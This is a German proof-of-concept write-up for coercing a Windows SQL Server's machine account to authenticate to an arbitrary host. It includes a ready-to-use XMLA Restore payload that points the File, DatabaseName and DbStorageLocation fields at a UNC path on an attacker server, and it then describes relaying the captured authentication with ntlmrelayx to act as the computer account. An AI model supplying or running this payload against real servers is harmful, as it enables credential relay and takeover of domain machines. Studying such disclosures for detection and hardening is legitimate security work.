
Eine Technik, um einen Windows-SQL-Server dazu zu bringen, sich auf einer beliebigen Maschine zu authentifizieren.

Eine Technik, um einen Windows-SQL-Server zu zwingen, sich an einer beliebigen Maschine zu authentifizieren.
Dieser Proof of Concept wurde mitverfasst von:
Um die Authentifizierung als lokales Maschinenkonto auszulösen, müssen wir uns mit Benutzeranmeldedaten mit dem entfernten SQL-Server verbinden:

Anschließend wählen wir "Restore" aus, um die Datenbank aus einer bestimmten Datei wiederherzustellen.

Um die XMLA-Datei zu generieren, tragen Sie den Pfad zu einer beliebigen Datei in das Formular "Backup File" ein und klicken Sie auf OK.

Ändern Sie dann den Pfad zu einer beliebigen Datei und ersetzen Sie ihn durch einen UNC-Pfad zu Ihrem Angreifer-Server (z. B. \\192.168.128\SYSVOL\db.abf).

Proof-of-Concept-XMLA-Abfrage (poc.xmla):
<Restore xmlns="http://schemas.microsoft.com/analysisservices/2003/engine">
<File>\\192.168.2.51\SYSVOL\db.abf</File>
<DatabaseName>\\192.168.2.51\SYSVOL\db.abf</DatabaseName>
<DbStorageLocation xmlns="http://schemas.microsoft.com/analysisservices/2008/engine/100/100">\\192.168.2.51\SYSVOL\db.abf</DbStorageLocation>
</Restore>
Und wir erhalten eine Authentifizierung vom lokalen Maschinenkonto des SQL-Servers:

Sobald wir die Authentifizierung erhalten haben, können wir sie mit ntlmrelayx weiterleiten, um viele Aktionen im Namen des Computers SQL01$ auszuführen.
Das ist cool, aber es ist kompliziert, diese erzwungene Authentifizierung von einer Linux-Angriffsmaschine aus auszulösen, da wir keinen Zugriff auf das SQL Server Management Studio (SSMS) haben.